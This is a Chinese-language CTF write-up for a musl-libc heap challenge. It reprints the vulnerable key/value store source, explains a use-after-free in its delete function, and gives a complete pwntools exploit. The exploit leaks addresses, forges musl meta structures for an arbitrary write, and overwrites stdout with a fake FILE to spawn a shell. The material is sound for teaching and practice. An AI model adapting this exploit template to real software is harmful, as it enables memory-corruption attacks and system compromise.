1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 #include <stdio.h> #include <string.h> #include <stdint.h> #include <stdlib.h> #include <unistd.h> static int recvuntil (void *buf, size_t n) { for (int i = 0 ; i < n; i++) { char c; if (read(0 , &c, 1 ) != 1 ) { return i; } ((char *)buf)[i] = c; if (c == '\n' ) { ((char *)buf)[i] = 0 ; return i; } } return n; } static int readint () { char buf[0x10 ] = {0 }; recvuntil(&buf, sizeof (buf)); return atoi(buf); } static size_t read_key (uint8_t **key) { printf ("key size: " ); size_t key_size = readint(); *key = calloc (1 , key_size); printf ("key content: " ); return recvuntil(*key, key_size); } static size_t read_value (uint8_t **value) { printf ("value size: " ); size_t value_size = readint(); *value = calloc (1 , value_size); printf ("value content: " ); return recvuntil(*value, value_size); } struct node { uint8_t *key; uint8_t *value; size_t key_size; size_t value_size; uint64_t hash; struct node *next ; }; static uint32_t key_hash (const uint8_t *key, size_t key_size) { uint64_t h = 2021 ; for (int i = 0 ; i < key_size; i++) { h = h * 0x13377331 + key[i]; } return h; } static void value_dump (const uint8_t *data, size_t size) { printf ("%#lx:" , size); for (int i = 0 ; i < size; i++) { printf ("%02x" , data[i]); } puts ("" ); } #define HASH_SIZE 0x1000 #define HASH_MASK (HASH_SIZE - 1) static struct node *list_heads [HASH_SIZE ];static void menu () { puts ("1: store" ); puts ("2: query" ); puts ("3: delete" ); puts ("4: exit" ); printf ("option: " ); } static struct node *lookup (const uint8_t *key, size_t key_size) { uint64_t h = key_hash(key, key_size); for (struct node *n = list_heads[h & HASH_MASK]; n; n = n->next) { if (n->hash == h && n->key_size == key_size && !memcmp (key, n->key, key_size)) { return n; } } return NULL ; } static void store () { struct node *node = calloc (1 , sizeof (struct node)); node->key_size = read_key(&node->key); node->value_size = read_value(&node->value); node->hash = key_hash(node->key, node->key_size); const uint32_t h = node->hash & HASH_MASK; struct node *next = list_heads[h]; list_heads[h] = node; node->next = next; puts ("ok" ); } static void query () { uint8_t *key = NULL ; size_t key_size = read_key(&key); struct node *n = lookup(key, key_size); if (n == NULL ) { puts ("err" ); } else { value_dump(n->value, n->value_size); puts ("ok" ); } free (key); } static void delete () { uint8_t *key = NULL ; size_t key_size = read_key(&key); struct node *n = lookup(key, key_size); if (n == NULL ) { puts ("err" ); } else { struct node **p = &list_heads[n->hash & HASH_MASK]; if (*p == n || n->next != NULL ) { while (*p != n) { p = &(*p)->next; } *p = n->next; } else { } free (n->key); free (n->value); free (n); puts ("ok" ); } free (key); } int main (int argc, char ** argv) { setvbuf(stdout , NULL , _IONBF, 0 ); setvbuf(stderr , NULL , _IONBF, 0 ); while (1 ) { menu(); int op = readint(); switch (op) { case 1 : store(); break ; case 2 : query(); break ; case 3 : delete(); break ; case 4 : puts ("bye" ); exit (0 ); default : puts ("invalid" ); exit (0 ); } } return 0 ; }
题目分析 很好,一做题就废,跟着sung3r
师傅的文章才一步一步的复现出来,这里就对sung3r
的文章进行部分补充 需要注意:需要等group
内所有chunk
都处于freed
或者used
状态时,才会将freed
状态的chunk
转换成avaliable
可以看到query()
函数每次打印的数据是该哈希链表最外侧结点的数据,而插入结点则是将结点插入最内侧 可以看到delete()
函数当n
为哈希链表的尾部且该哈希链表的结点个数大于一个时,会跳过循环直接进行free
,存在UAF
漏洞 每次store
时,都会申请0x30
大小的空间来存储改结点的信息,该空间结构为:
交互脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 def store (key_content, value_content, key_size=None , value_size=None , wait=True ): p.sendlineafter('option: ' , '1' ) if key_size is None : key_size = len (key_content) p.sendlineafter('size: ' , str (key_size)) p.sendafter('content: ' , key_content) if value_size is None : value_size = len (value_content) p.sendlineafter('size: ' , str (value_size)) if wait: p.recvuntil('content: ' ) p.send(value_content) def query (key_content, key_size=None , wait=True ): p.sendlineafter('option: ' , '2' ) if key_size is None : key_size = len (key_content) p.sendlineafter('size: ' , str (key_size)) if wait: p.recvuntil('content: ' ) p.send(key_content) def delete (key_content, key_size=None ): p.sendlineafter('option: ' , '3' ) if key_size is None : key_size = len (key_content) p.sendlineafter('size: ' , str (key_size)) p.sendafter('content: ' , key_content) def get_hash (content ): x = 0x7e5 for c in content: x = ord (c) + x * 0x13377331 return x & 0xfff def find_key (length=0x10 , h=0x7e5 ): while True : x = '' .join(random.choice(string.ascii_letters + string.digits) for _ in range (length)) if get_hash(x) == h: return x
泄露地址 这里粘贴sung3r
师傅关于group
对chunk
的管理策略:
chunk
按照内存先后,依次分配
free
掉的chunk
不能马上分配
需要等group
内所有chunk
都处于freed
或者used
状态时,才会将freed
状态的chunk
转换成avaliable
分配chunk
时,会将user data
域用\x00
初始化
接下来即可利用堆风水来进行地址的泄露 我们首先申请随便申请一个堆块,来防止防止free
掉group
所有chunk
时,将整个group
内存归还给堆管理器
我们来看看此时的group
的情况:
可以发现,该存储0x30
大小堆块的group
最多可以存储7
个堆块 接下来,除最后一个与第一个chunk
,其余全部free
掉
1 2 for _ in range (5 ): query(b'A' * 0x30 )
接下来:
1 store(b'\n' , b'B' * 0x30 )
group的布局为:
再申请一个与’\n’同hash的chunk:
这个时候’\n’
的哈希链表中就有两个元素,group
的布局为:
此时将key
为’\n’
的堆块删除并将group
未被使用的堆块全部free
掉:
1 2 3 4 delete(b'\n' ) for _ in range (3 ): query(b'A' * 0x30 )
由前面的分析可以知道,此时触发的UAF
漏洞,被标为UAF
的堆块即为’\n’
堆块的value
区域,我们可以通过将另一个堆块的struct
结构体申请到这里,从而通过query
函数访问’\n’
来泄露出value
的地址。此时group
的布局为:
最后申请一个堆块泄露地址:
1 2 store(b'A\n' , b'A' , 0x1200 ) query(b'\n' )
group布局为:
同样,我们也能够用相同的策略将libc
基地址等内存信息leak
出来 leak代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 store(b'A' , b'A' ) for _ in range (5 ): query(b'A' * 0x30 ) store(b'\n' , b'B' * 0x30 ) store(find_key(), b'A' ) delete(b'\n' ) for _ in range (3 ): query(b'A' * 0x30 ) store(b'A\n' , b'A' , 0x1200 ) query(b'\n' ) res = codecs.decode(p.recvline(False ).split(b':' )[1 ], 'hex' ) mmap_base = u64(res[:8 ]) - 0x20 chunk_addr = u64(res[8 :0x10 ]) for _ in range (3 ): query(b'A' * 0x30 ) query(p64(0 ) + p64(chunk_addr - 0x60 ) + p64(0 ) + p64(0x20 ) + p64(0x7e5 ) + p64(0 )) query(b'\n' ) heap_base = u64(codecs.decode(p.recvline(False ).split(b':' )[1 ], 'hex' )[:8 ]) - 0x1d0 for _ in range (3 ): query(b'A' * 0x30 ) query(p64(0 ) + p64(heap_base + 0xf0 ) + p64(0 ) + p64(0x200 ) + p64(0x7e5 ) + p64(0 )) query('\n' ) libc.address = u64(codecs.decode(p.recvline(False ).split(b':' )[1 ], 'hex' )[:8 ]) - 0xb7040 for _ in range (3 ): query(b'A' * 0x30 ) query(p64(0 ) + p64(next (libc.search(b'/bin/sh\0' ))) + p64(0 ) + p64(0x20 ) + p64(0x7e5 ) + p64(0 )) query(b'\n' ) assert codecs.decode(p.recvline(False ).split(b':' )[1 ], 'hex' )[:8 ] == b'/bin/sh\0' for _ in range (3 ): query(b'A' * 0x30 ) query(p64(0 ) + p64(heap_base) + p64(0 ) + p64(0x20 ) + p64(0x7e5 ) + p64(0 )) query(b'\n' ) secret = u64(codecs.decode(p.recvline(False ).split(b':' )[1 ], 'hex' )[:8 ]) log.info('mmap base: %#x' % mmap_base) log.info('chunk address: %#x' % chunk_addr) log.info('heap base: %#x' % heap_base) log.info('libc base: %#x' % libc.address) log.info('secret: %#x' % secret) fake_meta_addr = mmap_base + 0x2010 fake_mem_addr = mmap_base + 0x2040 stdout = libc.address + 0xb4280 log.info('fake_meta_addr: %#x' % fake_meta_addr) log.info('fake_mem_addr: %#x' % fake_mem_addr) log.info('stdout: %#x' % stdout)
泄露出地址后,即可通过伪造meta_area、meta、mem
来利用unlink
,实现任意地址写,此时即可在stdout
中写入fake file
然后getshell
即2
次free
掉自己伪造的group
来实现任意地址分配 嘶,好像有点说不清,跟着exp
一步一步调试即可知道详细原理QWQ
,unlink
的和fsop
的原理上面有讲过(晚点补,如果有机会的话) 其实我感觉meta
的伪造好像可以当成模板来使用?
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 from pwn import *from LibcSearcher import *from ctypes import *from struct import packimport numpy as npimport codecsp = process(['./libc.so' ,'./pwn' ]) context(arch='amd64' , os='linux' , log_level='debug' ) context.terminal = ['wt.exe' , '-w' , "0" , "sp" , "-d" , "." , "wsl.exe" , "-d" , "Ubuntu-22.04" , "bash" , "-c" ] libc = ELF('./libc.so' ) def store (key_content, value_content, key_size=None , value_size=None , wait=True ): p.sendlineafter('option: ' , '1' ) if key_size is None : key_size = len (key_content) p.sendlineafter('size: ' , str (key_size)) p.sendafter('content: ' , key_content) if value_size is None : value_size = len (value_content) p.sendlineafter('size: ' , str (value_size)) if wait: p.recvuntil('content: ' ) p.send(value_content) def query (key_content, key_size=None , wait=True ): p.sendlineafter('option: ' , '2' ) if key_size is None : key_size = len (key_content) p.sendlineafter('size: ' , str (key_size)) if wait: p.recvuntil('content: ' ) p.send(key_content) def delete (key_content, key_size=None ): p.sendlineafter('option: ' , '3' ) if key_size is None : key_size = len (key_content) p.sendlineafter('size: ' , str (key_size)) p.sendafter('content: ' , key_content) def get_hash (content ): x = 0x7e5 for c in content: x = ord (c) + x * 0x13377331 return x & 0xfff def find_key (length=0x10 , h=0x7e5 ): while True : x = '' .join(random.choice(string.ascii_letters + string.digits) for _ in range (length)) if get_hash(x) == h: return x store(b'A' , b'A' ) for _ in range (5 ): query(b'A' * 0x30 ) store(b'\n' , b'B' * 0x30 ) store(find_key(), b'A' ) delete(b'\n' ) for _ in range (3 ): query(b'A' * 0x30 ) store(b'A\n' , b'A' , 0x1200 ) query(b'\n' ) res = codecs.decode(p.recvline(False ).split(b':' )[1 ], 'hex' ) mmap_base = u64(res[:8 ]) - 0x20 chunk_addr = u64(res[8 :0x10 ]) for _ in range (3 ): query(b'A' * 0x30 ) query(p64(0 ) + p64(chunk_addr - 0x60 ) + p64(0 ) + p64(0x20 ) + p64(0x7e5 ) + p64(0 )) query(b'\n' ) heap_base = u64(codecs.decode(p.recvline(False ).split(b':' )[1 ], 'hex' )[:8 ]) - 0x1d0 for _ in range (3 ): query(b'A' * 0x30 ) query(p64(0 ) + p64(heap_base + 0xf0 ) + p64(0 ) + p64(0x200 ) + p64(0x7e5 ) + p64(0 )) query('\n' ) libc.address = u64(codecs.decode(p.recvline(False ).split(b':' )[1 ], 'hex' )[:8 ]) - 0xb7040 for _ in range (3 ): query(b'A' * 0x30 ) query(p64(0 ) + p64(next (libc.search(b'/bin/sh\0' ))) + p64(0 ) + p64(0x20 ) + p64(0x7e5 ) + p64(0 )) query(b'\n' ) assert codecs.decode(p.recvline(False ).split(b':' )[1 ], 'hex' )[:8 ] == b'/bin/sh\0' for _ in range (3 ): query(b'A' * 0x30 ) query(p64(0 ) + p64(heap_base) + p64(0 ) + p64(0x20 ) + p64(0x7e5 ) + p64(0 )) query(b'\n' ) secret = u64(codecs.decode(p.recvline(False ).split(b':' )[1 ], 'hex' )[:8 ]) log.info('mmap base: %#x' % mmap_base) log.info('chunk address: %#x' % chunk_addr) log.info('heap base: %#x' % heap_base) log.info('libc base: %#x' % libc.address) log.info('secret: %#x' % secret) fake_meta_addr = mmap_base + 0x2010 fake_mem_addr = mmap_base + 0x2040 stdout = libc.address + 0xb4280 log.info('fake_meta_addr: %#x' % fake_meta_addr) log.info('fake_mem_addr: %#x' % fake_mem_addr) log.info('stdout: %#x' % stdout) sc = 8 freeable = 1 last_idx = 0 maplen = 1 fake_meta = b'' fake_meta += p64(stdout - 0x18 ) fake_meta += p64(fake_meta_addr + 0x30 ) fake_meta += p64(fake_mem_addr) fake_meta += p32(0 ) + p32(0 ) fake_meta += p64((maplen << 12 ) | (sc << 6 ) | (freeable << 5 ) | last_idx) fake_meta += p64(0 ) fake_mem = b'' fake_mem += p64(fake_meta_addr) fake_mem += p32(1 ) fake_mem += p32(0 ) payload = b'' payload += b'A' * 0xaa0 payload += p64(secret) + p64(0 ) payload += fake_meta payload += fake_mem payload += b'\n' for _ in range (2 ): query(b'A' * 0x30 ) query(payload, 0x1200 ) store(b'A' , p64(0 ) + p64(fake_mem_addr + 0x10 ) + p64(0 ) + p64(0x20 ) + p64(0x7e5 ) + p64(0 )) delete(b'\n' ) sc = 8 last_idx = 1 fake_meta = b'' fake_meta += p64(0 ) fake_meta += p64(0 ) fake_meta += p64(fake_mem_addr) fake_meta += p32(0 ) + p32(0 ) fake_meta += p64((sc << 6 ) | last_idx) fake_meta += p64(0 ) fake_mem = b'' fake_mem += p64(fake_meta_addr) fake_mem += p32(1 ) fake_mem += p32(0 ) payload = b'' payload += b'A' * 0xa90 payload += p64(secret) + p64(0 ) payload += fake_meta payload += fake_mem payload += b'\n' query(b'A' * 0x30 ) query(payload, 0x1200 ) store(b'A' , p64(0 ) + p64(fake_mem_addr + 0x10 ) + p64(0 ) + p64(0x20 ) + p64(0x7e5 ) + p64(0 )) delete(b'\n' ) fake_meta = b'' fake_meta += p64(fake_meta_addr) fake_meta += p64(fake_meta_addr) fake_meta += p64(stdout - 0x10 ) fake_meta += p32(1 ) + p32(0 ) fake_meta += p64((sc << 6 ) | last_idx) fake_meta += b'A' * 0x18 fake_meta += p64(stdout - 0x10 ) payload = b'' payload += b'A' * 0xa80 payload += p64(secret) + p64(0 ) payload += fake_meta payload += b'\n' query(payload, 0x1200 ) fake_file = b"" fake_file += b"/bin/sh" .ljust(8 , b'\x00' ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0x114514 ) fake_file += p64(0x114514 ) fake_file += p64(0 ) fake_file += p64(0x114514 ) fake_file += p64(0 ) fake_file += p64(libc.symbols['system' ]) fake_file = fake_file.ljust(0x80 , b'\x00' ) store(b'A' , fake_file, value_size=0x80 , wait=False ) p.interactive()
参考文章 https://bbs.kanxue.com/thread-269533.htm https://www.anquanke.com/post/id/246929 https://blog.csdn.net/qq_45323960/article/details/129800670 https://www.anquanke.com/post/id/241104#h2-3